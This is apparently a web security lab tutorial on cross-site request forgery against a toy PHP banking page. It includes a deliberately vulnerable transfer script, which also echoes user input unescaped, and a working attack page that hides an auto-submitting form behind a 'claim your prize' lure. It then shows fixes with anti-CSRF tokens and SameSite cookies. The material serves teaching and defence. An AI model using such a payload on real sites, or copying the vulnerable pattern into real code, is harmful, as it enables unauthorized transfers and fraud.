Network

Web Apps

System

Cloud

Cryptography

IoT

Exercise 24: Cross-Site Request Forgery (CSRF) – Exploiting State-Changing Actions

by | Mar 1, 2025

Objective

Learn how to exploit Cross-Site Request Forgery (CSRF) vulnerabilities to trigger state-changing actions (e.g., updating account settings, transferring funds) on behalf of an authenticated user and understand how to prevent these attacks using industry best practices.

Scenario

You are testing a banking application that allows authenticated users to transfer funds. Due to the absence of CSRF protection, an attacker can trick a logged-in user into submitting an unauthorized transfer request without their consent.


Lab Setup

Prerequisites:

  • Basic knowledge of PHP and HTML forms.
  • XAMPP/LAMP/WAMP stack installed (or any web server with PHP support).
  • A code editor (e.g., VSCode, Sublime Text).

Step 1: Create the Vulnerable Web Application

PHP Script for Fund Transfer

Create a file transfer.php:

<?php
session_start();
$_SESSION['user'] = 'alice';  // Simulate a logged-in user

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $amount = $_POST['amount'];
    $recipient = $_POST['recipient'];

    echo "<h2>\$_SESSION[user] transferred \$${amount} to ${recipient}</h2>";
}
?>

<h2>Transfer Funds</h2>
<form method="POST" action="">
    Amount: <input type="number" name="amount" required><br>
    Recipient: <input type="text" name="recipient" required><br>
    <button type="submit">Transfer</button>
</form>

Running the Application

  • Start the Apache server.
  • Place transfer.php in the web server’s root directory (htdocs for XAMPP).
  • Open http://localhost/transfer.php in your browser.

Exploitation Steps

Step 1: Crafting the CSRF Exploit

Create a malicious page csrf_attack.html:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Exclusive Offer!</title>
</head>
<body>
    <h2>Click here to claim your prize!</h2>
    <img src="#" onmouseover="document.forms[0].submit();">
    <form method="POST" action="http://localhost/transfer.php" style="display:none">
        <input type="hidden" name="amount" value="1000">
        <input type="hidden" name="recipient" value="attacker">
    </form>
</body>
</html>

Host csrf_attack.html on any web server and trick the victim into visiting it.

Expected Result:

  • The victim unknowingly transfers $1000 to the attacker (attacker).

Solution and Prevention

Problem Analysis

  • The application does not verify the authenticity of the state-changing request.

Fixing the Vulnerability

Implement Anti-CSRF Tokens

Add CSRF token generation and verification in transfer.php:

<?php
session_start();
$_SESSION['user'] = 'alice';

if (empty($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
        $amount = $_POST['amount'];
        $recipient = $_POST['recipient'];
        echo "<h2>\$_SESSION[user] transferred \$${amount} to ${recipient}</h2>";
    } else {
        echo "<h2>Invalid CSRF token!</h2>";
    }
}
?>

<h2>Transfer Funds</h2>
<form method="POST" action="">
    Amount: <input type="number" name="amount" required><br>
    Recipient: <input type="text" name="recipient" required><br>
    <input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
    <button type="submit">Transfer</button>
</form>

Use SameSite Cookie Attribute

Add the SameSite attribute to session cookies:

ini_set('session.cookie_samesite', 'Strict');
ini_set('session.cookie_httponly', 1);
session_start();

Require Re-authentication for Sensitive Actions

Prompt users to re-enter their password for high-risk transactions.


Testing After Fix

  1. Attempt to perform the CSRF attack using csrf_attack.html.
  2. Expected Result:
    • The transaction fails due to an invalid CSRF token.

Conclusion

In this lab, you exploited a Cross-Site Request Forgery (CSRF) vulnerability to perform unauthorized fund transfers. You also learned how to prevent CSRF attacks by implementing anti-CSRF tokens, using the SameSite cookie attribute, and requiring re-authentication for sensitive actions.

0 Comments